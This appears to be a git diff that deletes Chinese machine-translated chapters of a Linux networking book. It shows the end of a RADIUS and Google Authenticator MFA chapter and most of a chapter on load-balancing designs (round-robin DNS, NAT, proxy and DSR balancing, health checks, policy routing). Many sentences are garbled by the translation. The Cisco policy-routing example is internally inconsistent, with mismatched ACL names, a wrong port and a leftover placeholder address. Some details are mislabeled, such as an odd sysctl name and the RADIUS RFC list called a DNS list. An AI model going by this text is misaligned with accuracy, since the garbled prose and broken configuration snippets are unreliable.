配置接口配置 - -要强制 VOIP 电话也使用 802.1x 和证书进行身份验证,请删除`trust device cisco-phone`线路。 有一些政治风险在这如果一个人的电脑不能进行身份验证和他们不能叫 Helpdesk 因为他们的电话,立即引发了“温度”的整个故障诊断和解决方案的过程,即使他们可以叫 Helpdesk 使用手机。 - -接下来,让我们回溯一点并添加 MFA,以谷歌 Authenticator 的形式。 当用户 ID 和密码可能是遗留解决方案时,通常使用这种方法。 例如,这是一种很好的解决方案,可以保护 VPN 身份验证免受密码填充攻击之类的攻击。 - -# 为 MFA 使用谷歌认证器 - -正如所讨论的,2FA 身份验证方案是访问面向公共的服务的最佳选择,特别是任何面向公共互联网的服务,而在过去,您可能已经为身份验证配置了一个简单的用户 ID 和密码。 **与的短消息服务**(**短信)妥协,我们看到了媒体为什么短信 2 fa-it 是幸运的,一个贫穷的首选工具,如谷歌身份验证可以配置免费这个用例。** - -首先,我们将安装一个新的包,允许对谷歌 Authenticator 进行身份验证,如下所示: - -```sh -$ sudo apt-get install libpam-google-authenticator -y -``` - -在`users`文件中,我们将将用户身份验证改为使用**可插入身份验证模块**(**PAMs**),如下所示: - -```sh -# Instruct FreeRADIUS to use PAM to authenticate users -DEFAULT Auth-Type := PAM -$ sudo vi /etc/freeradius/3.0/sites-enabled/default -``` - -取消`pam`行注释,如下所示: - -```sh -# Pluggable Authentication Modules. - pam -``` - -接下来,我们需要编辑`/etc/pam.d/radiusd`文件。 注释掉默认的`include`文件,如下面的代码片段所示,并添加用于谷歌 Authenticator 的行。 注意`freeraduser`是一个本地 Linux 用户 ID,它将是这个模块的进程所有者: - -```sh -#@include common-auth -#@include common-account -#@include common-password -#@include common-session -auth requisite pam_google_authenticator.so forward_pass secret=/etc/freeradius/${USER}/.google_authenticator user= -auth required pam_unix.so use_first_pass -``` - -如果您的谷歌身份验证器服务正在工作,那么到它的 RADIUS 链接现在也应该工作! - -接下来,生成谷歌身份验证器密钥和供应**快速反应****(QR)代码,帐户恢复信息和其他帐户信息到客户端(这可能是一个自助式的实现在大多数环境中)。** - -现在,当用户对 RADIUS 进行身份验证时(对于 VPN、管理访问或其他类型),他们使用常规密码和谷歌密钥。 在大多数情况下,您不希望这种开销用于无线身份验证。 证书往往最适合这种情况——如果您的无线设备没有使用 EAP-TLS 进行身份验证,那么它很容易受到一种或多种常见攻击。 - -# 总结 - -这就结束了我们使用 RADIUS 对各种服务器进行身份验证的旅程。 与我们在本书中探讨的许多 Linux 服务一样,本章只是触及了 RADIUS 可以用来解决的常见配置、用例和组合的表面。 - -此时,您应该具备了解 RADIUS 如何工作的专业知识,并能够为 VPN 服务和管理访问以及无线和有线网络访问配置安全的 RADIUS 身份验证。 您应该具备了解 PAP、CHAP、LDAP、EAP-TLS 和 802.1x 认证协议的基础知识。 特别是,EAP-TLS 用例应该说明为什么拥有一个内部 CA 可以真正帮助保护您的网络基础设施。 - -最后,我们讨论了 MFA 的谷歌 Authenticator 与 RADIUS 的集成。 不过,我们没有介绍谷歌 Authenticator 服务的详细配置——最近这种情况似乎变化得非常频繁,因此最好参考该服务的谷歌文档。 - -在下一章中,我们将讨论如何使用 Linux 作为负载平衡器。 负载平衡器已经存在了很多年,但是最近几年,它们在物理数据中心和虚拟数据中心的部署频率越来越高,而且差异也越来越大——敬请关注! - -# 问题 - -正如我们总结的,这里有一个问题列表,供你测试你对本章材料的知识。 你可以在附录的*评估*部分找到答案: - -1. 对于您打算对管理访问和 VPN 访问进行身份验证的防火墙,如何允许普通用户访问 VPN 而不允许管理访问? -2. 为什么 EAP-TLS 是一种很好的无线网络认证机制? -3. 如果 EAP-TLS 是如此伟大,为什么 MFA 比 EAP-TLS 更适合用于 VPN 访问认证证书? - -# 进一步阅读 - -本章所引用的基本 rfc 列于此: - -* *RFC 2865*:*RADIUS*([https://tools.ietf.org/html/rfc2865](https://tools.ietf.org/html/rfc2865)) -* *RFC 3579*:*RADIUS 支持 EAP*([https://tools.ietf.org/html/rfc3579](https://tools.ietf.org/html/rfc3579)) -* *RFC 3580*:*IEEE 802.1X RADIUS 使用指南*([https://tools.ietf.org/html/rfc3580](https://tools.ietf.org/html/rfc3580)) - -但是,DNS 的 rfc 的完整列表是相当大的。 下面的列表显示当前淘汰的 rfc 和实验性 rfc 已被删除。 当然,这些都可以在[https://tools.ietf.org](https://tools.ietf.org)和[https://www.rfc-editor.org:](https://www.rfc-editor.org:)中找到。 - -*RFC 2548*:*Microsoft Vendor-specific RADIUS Attributes* - -*RFC 2607*:*代理链和漫游策略实现* - -*RFC 2809*:*L2TP 强制隧道 RADIUS 实现* - -*RFC 2865*:*Remote Authentication Dial-In User Service (RADIUS)* - -*RFC 2866*:*RADIUS 计费* - -*RFC 2867*:*RADIUS 计费修改支持隧道协议* - -*RFC 2868*:*RADIUS 协议支持属性* - -*RFC 2869*:*RADIUS 扩展* - -*RFC 2882*:*网络接入服务器需求:扩展的 RADIUS 实践* - -*RFC 3162*:*RADIUS 和 IPv6* - -*RFC 3575*:*RADIUS 的 IANA 考虑因素* - -*RFC 3579*:*RADIUS 支持 EAP* - -*RFC 3580*:*IEEE 802.1X RADIUS 使用指南* - -*RFC 4014*:*RADIUS Attributes Suboption for the DHCP Relay Agent Information Option* - -*RFC 4372*:*计费用户身份* - -*RFC 4668*:*RADIUS 认证客户端 MIB for IPv6* - -*RFC 4669*:*RADIUS 认证服务器 MIB for IPv6* - -*RFC 4670*:*RADIUS Accounting Client MIB for IPv6* - -*RFC 4671*:*RADIUS Accounting Server MIB for IPv6* - -*RFC 4675*:*RADIUS 属性 for Virtual LAN and Priority Support* - -*RFC 4679*:*DSL 论坛特定的 RADIUS 属性* - -*RFC 4818*:*RADIUS delegation - ipv6 - prefix Attribute* - -*RFC 4849*:*RADIUS 过滤规则属性* - -*RFC 5080*:*常见的 RADIUS 实现问题及建议修复* - -*RFC 5090*:*RADIUS 扩展 for Digest Authentication* - -*RFC 5176*:*RADIUS 动态授权扩展* - -*RFC 5607*:*RADIUS Authorization for NAS Management* - -*RFC 5997*:*状态服务器报文在 RADIUS 协议中的使用* - -*RFC 6158*:*RADIUS 设计指引* - -*RFC 6218*:*Cisco Vendor-Specific RADIUS Attributes for Delivery of key Material* - -*RFC 6421*:*Crypto-Agility Requirements for Remote Authentication Dial-In User Service (RADIUS)* - -*RFC 6911*:*RADIUS 属性 for IPv6 接入网络* - -*RFC 6929*:*RADIUS (Remote Authentication Dial-In User Service)协议扩展* - -*RFC 8044*:*RADIUS 数据类型* - -* AD/SMB integration: - - [https://wiki.freeradius.org/guide/freeradius-active-directory-integration-howto](https://wiki.freeradius.org/guide/freeradius-active-directory-integration-howto) - - [https://web.mit.edu/rhel-doc/5/RHEL-5-manual/Deployment_Guide-en-US/s1-samba-security-modes.html](https://web.mit.edu/rhel-doc/5/RHEL-5-manual/Deployment_Guide-en-US/s1-samba-security-modes.html) - - [https://wiki.samba.org/index.php/Setting_up_Samba_as_a_Domain_Member](https://wiki.samba.org/index.php/Setting_up_Samba_as_a_Domain_Member) - -* 802.1x:[https://isc.sans.edu/diary/The+Other+Side+of+Critical +Control+1%3A+802.1x+Wired+Network+Access+Controls/25146](https://isc.sans.edu/diary/The+Other+Side+of+Critical+Control+1%3A+802.1x+Wired+Network+Access+Controls/25146) -* Unlang references: - - [https://networkradius.com/doc/3.0.10/unlang/home.html](https://networkradius.com/doc/3.0.10/unlang/home.html) - - [https://freeradius.org/radiusd/man/unlang.txt](https://freeradius.org/radiusd/man/unlang.txt)******************** \ No newline at end of file diff --git a/docs/linux-net-prof/10.md b/docs/linux-net-prof/10.md deleted file mode 100644 index 3a182862..00000000 --- a/docs/linux-net-prof/10.md +++ /dev/null @@ -1,643 +0,0 @@ -# 十、Linux 负载均衡器服务 - -在本章中,我们将讨论 Linux 中可用的负载平衡器服务,特别是 HAProxy。 负载平衡器允许客户机工作负载分布在多个后端服务器上。 这允许单个 IP 扩展到比单个服务器所允许的更大的范围,还允许在服务器中断或维护窗口的情况下进行冗余。 - -完成这些示例后,您应该具备通过几种不同的方法在自己的环境中部署基于 linux 的负载平衡器服务的技能。 - -特别地,我们将涵盖以下主题: - -* 负载均衡简介 -* 负载平衡算法 -* 服务器和服务健康检查 -* 数据中心负载平衡器的设计考虑 -* 构建 HAProxy NAT/proxy 负载均衡器 -* 关于负载平衡器安全性的最后一个注意事项 - -由于本节设置基础设施的复杂性,您可以针对示例配置做出一些选择。 - -# 技术要求 - -在本章中,我们将探索负载平衡器功能。 当我们在本书后面的例子中工作时,你可以跟随并在你当前的 Ubuntu 主机或虚拟机中实现我们的例子配置。 然而,要看到我们的负载平衡示例的实际操作,你需要一些东西: - -* 至少两个目标主机来平衡负载 -* 当前 Linux 主机中的另一个网络适配器 -* 另一个子网用于承载目标主机和这个新的网络适配器 - -这个配置有一个匹配的图*图 10.2*,它将在本章的后面显示,说明当我们完成时,所有这些将如何连接在一起。 - -这给我们的实验室环境的配置增加了整个级别的复杂性。 当我们进入实验部分时,我们将提供一些替代方案(下载预先构建的虚拟机是其中之一),但您可以选择继续阅读。 如果是这样,我认为您仍然可以很好地了解这个主题,以及现代数据中心中各种负载平衡器配置的设计、实现和安全影响的坚实背景。 - -# 负载均衡简介 - -在最简单的形式中,负载平衡就是将客户机负载分散到多个服务器上。 这些服务器可以位于一个或多个位置,并且分配负载的方法可能会有很大的不同。 事实上,平均分配负载的成功程度也会有很大的不同(主要取决于所选择的方法)。 让我们研究一些更常见的负载平衡方法。 - -## 轮询 DNS (RRDNS) - -您可以仅使用 DNS 服务器(即所谓的**轮询 DNS**(**RRDNS**)进行简单的负载平衡。 在此配置中,当客户端请求解析`a.example.com`主机名时,DNS 服务器将返回 server 1 的 IP; 然后,当下一个客户机请求它时,它将返回服务器 2 的 IP,以此类推。 这是最简单的负载平衡方法,对于位于同一位置的服务器和位于不同位置的服务器都同样有效。 它也可以在不改变基础设施的情况下实现——不需要新的组件和配置更改: - -![Figure 10.1 – Simple load balancing with Round Robin DNS ](img/B16336_10_001.jpg) - -图 10.1 -使用轮询 DNS 的简单负载均衡 - -配置 RRDNS 很简单——在 BIND 中,只需为具有多个 ip 的目标主机配置多条`A`记录即可。 连续的 DNS 请求将依次返回每个`A`记录。 这是一个好主意来缩短域的**time - to - live**(**【显示】TTL)在这样的配置中,如果需要,您将希望能够在短时间内采取任何一个服务器离线——如果你的 TTL 是 8 小时,不会适合你。 此外,您可以将顺序设置为循环(默认,它按顺序返回重复的`A`记录)、随机或固定(总是以相同的顺序返回匹配的记录)。 更改返回顺序的语法如下(默认设置`cyclic`显示在这里):** - -```sh -options { - rrset-order { - class IN type A name "mytargetserver.example.com" order cyclic; - }; -}; -``` - -这个配置有几个问题: - -* 没有一种好的方法可以将任何类型的健康检查合并到这个模型中——所有的服务器都正常运行吗? 服务开了吗? 主持人恢复正常了吗? -* 没有办法查看是否有任何 DNS 请求之后实际上是一个到服务的连接。 有很多原因可以解释为什么会发出 DNS 请求,并且交互可能在那里结束,而没有后续连接。 -* 也没有办法监控会话何时结束,这意味着没有办法向使用最少的服务器发送下一个请求——它只是在所有服务器之间稳定地、甚至轮换。 在一天开始的任何业务,这可能看起来像一个好的模型,但随着时间的推移,总会有长期会话和极短的没有发生(或会议),所以它是常见的服务器负载变得“不平衡的”随着时间的推移。 如果一天中没有明确的开始或结束来有效地“清空”事情,这一点就会变得更加明显。 -* 出于同样的原因,如果集群中的一台服务器因维护或计划外的停机而关闭,则没有好的方法使其恢复奇偶校验(只要会话数量增加)。 -* 通过一些 DNS 侦察,攻击者可以收集所有集群成员的真实 ip,然后对它们进行评估或分别攻击。 如果它们中的任何一个特别容易受到攻击,或者有一个额外的 DNS 条目将其标识为备份主机,这将使攻击者的工作更加容易。 -* 使任何一个目标服务器离线都可能是一个问题——DNS 服务器将继续按照请求的顺序提供该地址。 即使记录被编辑,任何下游客户端和 DNS 服务器都将缓存其解析的 ip,并继续尝试连接到故障主机。 -* 下游 DNS 服务器(即互联网上的 DNS 服务器)将缓存它们获得的区域 TTL 期间的任何记录。 所有 DNS 服务器的客户端都会被发送到同一个目标服务器。 - -由于这些原因,RRDNS 将以一种简单的方式“在必要时”完成工作,但这通常不应该作为一个长期的生产解决方案来实现。 也就是说,**全局服务器负载平衡器**(**GSLB**)产品实际上基于这种方法,具有不同的负载平衡选项和运行状况检查。 负载均衡器和目标服务器之间的断开仍然存在于 GSLB 中,所以这些相同的缺点在这个解决方案中也存在。 - -我们在数据中心经常看到的是基于代理(第 7 层)或基于 nat(第 4 层)的负载平衡。 让我们来探讨一下这两种选择。 - -## 入站代理-七层负载均衡 - -在这个架构中,客户端的会话在代理服务器上终止,在代理的内部接口和实服务器 IP 之间启动一个新的会话。 - -这还提出了许多负载平衡解决方案都使用的几个架构术语。 在下面的图中,我们可以看到面向客户端的**前端**和面向服务器的**后端**的概念。 此时,我们还应该讨论 IP 地址。 前端**提出了一种虚拟 IP**(【显示】**VIP)由所有目标服务器,共享服务器的**真正的 IPs**(【病人】**撕裂)未见的客户:**** - -![Figure 10.2 – Load balancing using a reverse proxy ](img/B16336_10_002.jpg) - -图 10.2 -使用反向代理的负载均衡 - -这种方法有一些缺点: - -* 在本章讨论的所有方法中,它在负载平衡器上具有最高的 CPU 负载,在极端情况下,它可以转化为对客户端的性能影响。 -* 此外,由于目标服务器上的客户端流量都来自代理服务器(或多个服务器),无需进行一些特殊处理,因此目标/应用服务器上看到的客户端 IP 始终是负载均衡器的后端 IP。 这使得记录应用中的直接客户机交互有问题。 解析交通从一个会话和与客户的实际地址,我们必须匹配客户会话的负载均衡器(视客户端 IP 地址而不是用户身份)与应用/ web 服务器日志(看到用户身份但不是客户端 IP 地址)。 在这些日志之间匹配会话可能是一个真正的问题; 它们之间的共同元素是时间戳和负载均衡器上的源端口,而源端口通常不在 web 服务器上。 -* 这可以通过应用感知来缓解。 例如,Citrix ICA 服务器或 Microsoft RDP 服务器后端使用 TLS 前端是很常见的。 在这些情况下,代理服务器有一些优秀的“钩子”到协议,允许客户端 IP 地址一直被带到服务器,以及负载均衡器检测的身份。 - -不过,从好的方面来看,如果工具到位,使用代理架构允许我们全面检查攻击流量。 事实上,由于代理架构的原因,负载均衡器和目标服务器之间的最后一跳是一个全新的会话——这意味着无效的协议攻击大部分都被过滤掉了,根本不需要任何特殊的配置。 - -通过将负载均衡器作为入站**网络地址转换**(**NAT**)配置运行,我们可以减轻这种代理方法的一些复杂性。 当不需要解密时,通常可以看到 NAT 方法,它内置在大多数环境中。 - -## 入方向 NAT -四层负载分担 - -这是最常见的解决方案,也是我们在示例中开始使用的解决方案。 在很多方面,该体系结构看起来与代理解决方案相似,但有一些关键的区别。 注意,在下图中,前端和后端 TCP 会话现在是匹配的——这是因为负载均衡器不再是代理; 已配置入方向 NAT。 所有的客户端仍然连接到单个 VIP,并被负载均衡器重定向到各个服务器 rip: - -![Figure 10.3 – Load balancing using inbound NAT ](img/B16336_10_003.jpg) - -图 10.3 -使用入站 NAT 进行负载均衡 - -为什么在许多情况下这是首选架构的原因如下: - -* 服务器会看到客户端的真实 ip,服务器日志也会正确地反映出来。 -* 负载均衡器在内存中维护 NAT 表,负载均衡器的日志反映了各种 NAT 操作,但无法“看到”会话。 例如,如果服务器正在运行一个 HTTPS 会话,如果这是一个简单的第 4 层 NAT,那么负载均衡器可以看到 TCP 会话,但不能解密流量。 -* 我们可以选择在前端终止 HTTPS 会话,然后在此架构的后端运行加密或明文。 然而,由于我们要维护两个会话(前端和后端),这看起来更像是一个代理配置。 -* 因为负载平衡器可以查看整个 TCP 会话(直到第 4 层),所以现在有几种负载平衡算法可用(请参阅下一节关于负载平衡算法的更多信息)。 -* 这种架构允许我们在负载均衡器上放置**Web 应用防火墙**(**WAF**)功能,这可以掩盖目标服务器 Web 应用上的一些漏洞。 例如,WAF 是针对跨站点脚本或缓冲区溢出攻击,或任何其他可能依赖于输入验证错误的攻击的通用防御。 对于这些类型的攻击,WAF 识别任何给定字段或 URI 的可接受输入,然后丢弃任何不匹配的输入。 然而,WAFs 并不局限于这些攻击。 可以把 WAF 功能看作一个 web 专用的 IPS(见[*第十四章*](14.html#_idTextAnchor252),*Linux 上的蜜罐服务*)。 -* 这种架构非常适合使会话持久或“粘性”——也就是说,一旦客户机会话“附加”到服务器,后续的请求将被定向到同一台服务器。 这非常适合具有后端数据库的页面,例如,如果您没有保持相同的后端服务器,您的活动(例如,电子商务网站上的购物车)可能会丢失。 动态或参数化网站——页面在您导航时实时生成(例如,大多数有产品目录或库存的网站)——通常也需要会话持久性。 -* 您还可以独立地对每个相继的请求进行负载平衡,因此,例如,当客户机导航一个站点时,它们的会话可能会被每个页面的不同服务器终止。 这种类型的方法非常适合静态网站。 -* 您可以将其他功能放在这个体系结构之上。 例如,它们通常与防火墙并行部署,甚至与公共互联网上的本地接口一起部署。 正因为如此,您经常会看到负载平衡器供应商使用 VPN 客户端来使用它们的负载平衡器。 -* 如上图所示,入站 NAT 和代理负载均衡器具有非常相似的拓扑结构—连接看起来都非常相似。 这是在实现中进行的,在这里可以看到一些东西被代理,一些东西在相同的负载均衡器上通过 NAT 进程运行。 - -然而,尽管此配置对 CPU 的影响比代理解决方案低得多,但每个工作负载包都必须在两个方向上通过负载均衡器。 我们可以使用**直接服务器返回**(**DSR**)架构显著降低这种影响。 - -## DSR 负载均衡 - -在 DSR 中,所有进入的流量仍然从负载均衡器上的 VIP 到各个服务器 rip 进行负载平衡。 但是,返回的流量直接从服务器返回到客户机,绕过负载均衡器。 - -这是怎么做到的呢? 方法如下: - -* 在进入的过程中,负载均衡器重写每个包的 MAC 地址,在目标服务器的 MAC 地址之间进行负载均衡。 -* 每个服务器都有一个 loopback 地址,该地址与 VIP 地址匹配。 这是返回所有流量的接口(因为客户端期望从 VIP 地址返回流量)。 但是,必须将其配置为不响应 ARP 请求(否则,负载均衡器将在入站路径上被绕过)。 - -这可能看起来很复杂,但下面的图表应该能让事情更清楚一些。 请注意,在这个图中只有一个目标主机,以便更容易地看到流量: - -![Figure 10.4 – DSR load balancing ](img/B16336_10_004.jpg) - -图 10.4 - DSR 负载均衡 - -有一些非常严格的要求: - -* 负载均衡器和所有目标服务器需要在同一子网中。 -* 这种机制需要在默认网关上进行一些游戏,因为在进入的过程中,它必须将所有客户端流量直接指向负载均衡器上的 VIP,但它还必须接受来自多个相同地址但不同 MAC 地址的目标服务器的响应。 为此,三层默认网关必须为每个目标服务器提供一个 ARP 表项,所有这些服务器都具有相同的 IP 地址。 在许多架构中,这是通过多个静态 ARP 条目来完成的。 例如,在 Cisco 路由器上,我们可以这样做: - - ```sh - arp 192.168.124.21 000c.2933.2d05 arpa - arp 192.168.124.22 000c.29ca.fbea arpa - ``` - -注意在本例中,`192.168.124.21`和`22`是正在进行负载均衡的目标主机。 而且,MAC 地址有一个 OUI,表明它们都是 VMware 虚拟主机,这在大多数数据中心中都很常见。 - -为什么要经历所有这些麻烦和不寻常的网络配置? - -* DSR 配置的优点是最大限度地减少通过负载均衡器的流量。 例如,在 web 应用中,通常会看到返回的流量比传入的流量大 10 倍或更多。 这意味着对于该流量模型,DSR 实现将看到 NAT 或代理负载均衡器所看到的流量的 90%或更少。 -* 不需要“后端”子网; 负载均衡器和目标服务器都在同一子网中—事实上,这是一种需求。 正如我们已经讨论过的,这也有一些缺点。 我们将在*DSR 的特定服务器设置*一节中详细介绍这一点。 - -然而,有一些缺点: - -* 集群间的相对负载,或者任何一台服务器上的单个负载,充其量只能由负载均衡器推断出来。 如果会话优雅地结束,负载平衡器将捕获足够的“会话结束”握手,以确定会话已经结束,但如果会话没有优雅地结束,它将完全依赖于超时来结束会话。 -* 所有主机必须配置相同的 IP(原始目标),以便返回的流量不会来自意外的地址。 这通常通过环回接口完成,并且通常需要在主机上进行一些额外的配置。 -* 需要将上游路由器(或三层交换机,如果它是子网的网关)配置为允许目标 IP 地址的所有可能的 MAC 地址。 这是一个手动过程,如果可能看到 MAC 地址意外变化,这可能是一个问题。 -* 如果任何需要代理或会话的完全可见性(如在 NAT 实现中)的功能不能工作,负载均衡器只能看到会话的一半。 这意味着不能实现任何 HTTP 报头解析、cookie 操作(例如,用于会话持久性)或 SYN cookie。 - -此外,由于(如路由器而言),所有的目标主机上有不同的 MAC 地址但相同的 IP 地址,和目标主机不能回复任何 ARP 请求(否则,他们会绕过负载均衡器),有大量的工作需要做在目标主机上。 - -### DSR 的特定服务器设置 - -对于 Linux 客户端,必须对“VIP”寻址接口(无论是环回还是逻辑以太网)进行 ARP 抑制。 这可以用`sudo ip link set arp off`或(使用旧的`ifconfig`语法)`sudo ifconfig -arp`来完成。 - -您还需要在目标服务器上实现`strong host`和`weak host`设置。 如果服务器接口不是路由器,不能发送或接收来自该接口的报文,除非报文中的源 IP 或目的 IP 与该接口的 IP 匹配,则将该接口配置为`strong host`。 如果一个接口被配置为`weak host`,则此限制不适用——它可以代表其他接口接收或发送报文。 - -Linux 和 BSD Unix 在所有接口(`sysctl net.ip.ip.check_interface = 0`)上默认启用`weak host`。 Windows 2003 及更早版本也支持此功能。 然而,Windows Server 2008 及更新版本的所有接口都有一个`strong host`模型。 要在较新的 Windows 版本中更改 DSR,请执行以下代码: - -```sh -netsh interface ipv4 set interface "Local Area Connection" weakhostreceive=enabled -netsh interface ipv4 set interface "Loopback" weakhostreceive=enabled -netsh interface ipv4 set interface "Loopback" weakhostsend=enabled -``` - -您还需要在目标服务器上禁用任何 IP 校验和卸载和 TCP 校验和卸载功能。 在 Windows 主机上,这两个设置在网络适配器/高级设置中。 在 Linux 主机上,`ethtool`命令可以操作这些设置,但是在 Linux 中,这些基于硬件的卸载特性在默认情况下是禁用的,因此通常不需要调整它们。 - -在描述了各种架构之后,我们仍然需要确定如何在目标服务器组中精确地分配客户机负载。 - -# 负载均衡算法 - -到目前为止,我们已经接触了一些负载平衡算法,所以让我们更详细地探讨一些更常见的方法(注意,这个列表并不是详尽的; 这里提供了最常见的方法): - -![](img/B16336_10_Table_01.jpg) - -如您所料,最小连接是最常分配的算法。 我们将在本章后面的配置示例中使用这种方法。 - -现在我们已经看到了一些如何平衡工作负载的选项,那么我们如何确保这些后端服务器正常工作呢? - -# 服务器和服务健康检查 - -我们在 DNS 负载均衡的部分讨论的问题之一是健康检查。 一旦开始负载平衡,通常需要某种方法来知道哪些服务器(和服务)正在正确地运行。 检查任何连接的*运行状况*的方法包括: - -1. 使用 ICMP 定期有效地“ping”目标服务器。 如果没有 ping 返回一个 ICMP 回显应答,那么它们就被认为是 down,并且它们不会接收任何新客户机。 现有客户机将分布在其他服务器上。 -2. 使用 TCP 握手并检查开放的端口(例如,web 服务的`80/tcp`和`443/tcp`)。 同样,如果握手没有完成,那么主机就被认为停机了。 -3. 在 UDP 中,您通常会发出一个应用请求。 例如,如果您正在对 DNS 服务器进行负载均衡,那么负载均衡器将发出一个简单的 DNS 查询—如果收到 DNS 响应,则认为服务器已经启动。 -4. 最后,当平衡一个 web 应用时,您可能会发出一个实际的 web 请求。 通常,您会请求索引页(或任何已知页)并在该页上查找已知文本。 如果该文本没有出现,则认为该主机和服务组合已关闭。 在更复杂的环境中,您检查的测试页面可能会对后端数据库进行已知调用以验证它。 - -当然,测试实际的应用(如前面的两点)是验证应用正在工作的最可靠的方法。 - -我们将在示例配置中展示其中一些健康检查。 在我们讨论这个之前,让我们先来看看如何在典型的数据中心中实现负载平衡器——无论是在“遗留”配置中还是在更现代的实现中。 - -# 数据中心负载均衡器的设计考虑 - -负载平衡作为大型架构的一部分已经有几十年了,这意味着我们已经经历了几种常见的设计。 - -我们仍然经常看到的“遗留”设计是一对物理负载均衡器(或集群),它们为数据中心中的所有负载平衡工作负载提供服务。 通常,相同的负载均衡器集群用于内部和外部工作负载,但是有时,您会看到内部网络上有一对内部负载均衡器,而另一对仅服务于 DMZ 工作负载(即外部客户机)。 - -在我们有物理服务器的时候,这种模型是一种很好的方法,负载平衡器是昂贵的硬件。 - -然而,在虚拟化环境中,工作负载虚拟机与物理负载平衡器绑定在一起,这使网络配置变得复杂,限制了灾难恢复选项,并且常常会导致流量在(物理)负载平衡器和虚拟环境之间产生多个“循环”: - -![Figure 10.5 – Legacy load balancing architecture ](img/B16336_10_005.jpg) - -图 10.5 -遗留的负载平衡架构 - -随着虚拟化的到来,这一切都改变了。 现在使用物理负载平衡器已经没有什么意义了——对于每个工作负载,最好还是使用专用的小型 VM,如下所示: - -![Figure 10.6 – Modern load balancing architecture ](img/B16336_10_006.jpg) - -图 10.6 -现代的负载平衡架构 - -这种方法有几个优点: - -* **成本**是一个优势,因为这些小型虚拟负载平衡器如果获得许可会更便宜,如果使用 HAProxy(或任何其他免费/开源解决方案)等解决方案则是免费的。 这可能是影响最小的优势,但通常也是改变观点的一个因素。 -* **配置更简单**且更易于维护,因为每个负载均衡器只服务于一个工作负载。 如果进行了更改并且可能需要后续调试,那么从较小的配置中“挑选”一些内容要简单得多。 -* 在发生故障或(更有可能的是)配置错误的情况下,**飞溅区**或**爆炸半径**要小得多。 如果将每个负载平衡器绑定到单个工作负载,则任何错误或故障都更有可能只影响该工作负载。 -* 此外,从操作的角度来看,**使用编排平台或用于扩展工作负载的 API 要容易得多**(在需求上升或下降时向集群添加或删除后端服务器)。 这种方法使得构建这些剧本更加简单——主要是因为更简单的配置和更小的爆炸半径,在剧本错误的情况下。 -* **开发人员更快速的部署** 由于您要保持此配置的简单性,因此在开发环境中,您可以在开发人员编写或修改应用时为他们提供完全相同的配置。 这意味着在编写应用时考虑了负载平衡器。 另外,大多数测试是在开发周期中完成的,而不是在开发结束时在一个更改窗口中对配置进行测试。 即使负载平衡器是经过许可的产品,大多数供应商都有一个免费(低带宽)的许可层,正好适用于这种场景。 -* 通过较小的配置,为开发人员或部署提供安全配置的模板要容易得多。 -* **开发或 DevOps 周期中的安全测试**包括负载均衡器,而不仅仅是应用和托管服务器。 -* **训练和测试更简单**。 由于负载平衡产品是免费的,所以设置培训或测试环境既快捷又简单。 -* **工作负载优化**是一个显著的优势,因为在虚拟化环境中,您通常可以将服务器组“绑定”在一起。 在 VMware vSphere 环境中,对于实例,这称为**vApp**。 这种结构允许您将所有 vApp 成员保持在一起,例如,如果您将它们 vMotion 到另一个 hypervisor 服务器。 为了维护,您可能需要执行此操作,或者使用**动态资源调度**(**DRS**)自动执行此操作,在多个服务器上平衡 CPU 或内存负载。 或者,迁移可能是灾难恢复工作流的一部分,在这个工作流中,您可以使用 vMotion 或仅仅通过激活虚拟机副本集将 vApp 迁移到另一个数据中心。 -* **云部署更适合这种分布式模型**。 这在大型云服务提供商中发挥到了极致,其中负载平衡只是您订阅的一个服务,而不是一个离散的实例或虚拟机。 这方面的例子包括 AWS 弹性负载平衡服务、Azure 负载均衡器和谷歌的云负载平衡服务。 - -然而,负载平衡带来了几个管理挑战,其中大部分来自一个问题——如果所有目标主机都有负载均衡器的默认网关,我们如何监控和管理这些主机呢? - -## 数据中心网络和管理方面的考虑 - -如果一个工作负载通过 NAT 方式实现负载平衡,则需要考虑路由问题。 到潜在应用客户机的路由必须指向负载均衡器。 如果这些目标是基于 internet 的,这将使管理单个服务器成为一个问题——您不希望您的服务器管理通信是负载平衡的。 您也不希望通过负载均衡器路由不必要的流量(例如备份或批量文件副本)—您希望它路由应用流量,而不是所有的流量! - -这通常通过添加静态路由和可能的管理 VLAN 来处理。 - -现在是提出管理 VLAN 从一开始就应该存在的好时机——我关于管理 VLAN 的“赢得要点”短语是“您的会计组(或接待员或制造组)需要访问 SAN 或 hypervisor 登录吗?” 如果您能够得到保护敏感接口免受内部攻击的答案,那么管理 VLAN 就很容易实现。 - -在任何情况下,在这个模型中,默认网关仍然指向负载均衡器(为 internet 客户端服务),但特定的路由被添加到服务器,以指向内部或服务资源。 在大多数情况下,这个资源列表仍然很小,所以即使内部客户端计划使用相同的负载平衡应用,这仍然可以工作: - -![Figure 10.7 – Routing non-application traffic (high level) ](img/B16336_10_007.jpg) - -图 10.7 -路由非应用流量(高层) - -如果这个模型由于的原因不能工作,那么您可能需要考虑添加**基于策略的路由**(**策略路由**)。 - -在这种情况下,例如,您的服务器分别负载平衡 HTTP 和 HTTPS -`80/tcp`和`443/tcp`。 你的政策可能是这样的: - -* 将来自`80/tcp`和`443/tcp`的所有流量**路由到负载均衡器(换句话说,来自应用的回复流量)。** -* 路由所有其他流量通过子网的路由器。 - -这个策略路由可以放到服务器子网的路由器上,如下所示: - -![Figure 10.8 – Routing non-application traffic – policy routing on an upstream router ](img/B16336_10_008.jpg) - -图 10.8 -在上游路由器上路由非应用流量策略路由 - -在上面的图中,所有的服务器都有一个基于路由器接口的默认网关(本例中为`10.10.10.1`): - -```sh -! this ACL matches reply traffic from the host to the client stations -ip access-list ACL-LB-PATH - permit tcp any eq 443 any - permit tcp any eq 90 any -! regular default gateway, does not use the load balancer, set a default gateway for that -ip route 0.0.0.0 0.0.0.0 10.10.x.1 -! this sets the policy for the load balanced reply traffic -route-map RM-LB-PATH permit 10 - match ip address ACL-LB-BYPASS - set next-hop 10.10.10.5 -! this applies the policy to the L3 interface. -! note that we have a "is that thing even up" check before we forward the traffic -int vlan x -ip policy route-map RM-LB-PATH - set ip next-hop verify-availability 10.10.10.5 1 track 1 - set ip next-hop 10.10.10.5 -! track 1 is defined here -track 1 rtr 1 reachability -rtr 1 -type echo protocol ipIcmpEcho 10.10.10.5 -rtr schedule 1 life forever start-time now -``` - -这样做的好处是简单,但是这个子网默认网关设备必须有足够的能力来满足所有应答流量的需求,而不影响它的任何其他工作负载的性能。 幸运的是,许多现代 10G 开关都有这样的马力。 然而,这也有一个缺点,即您的应答流现在离开管理程序,到达默认网关路由器,然后可能返回虚拟基础设施,到达负载均衡器。 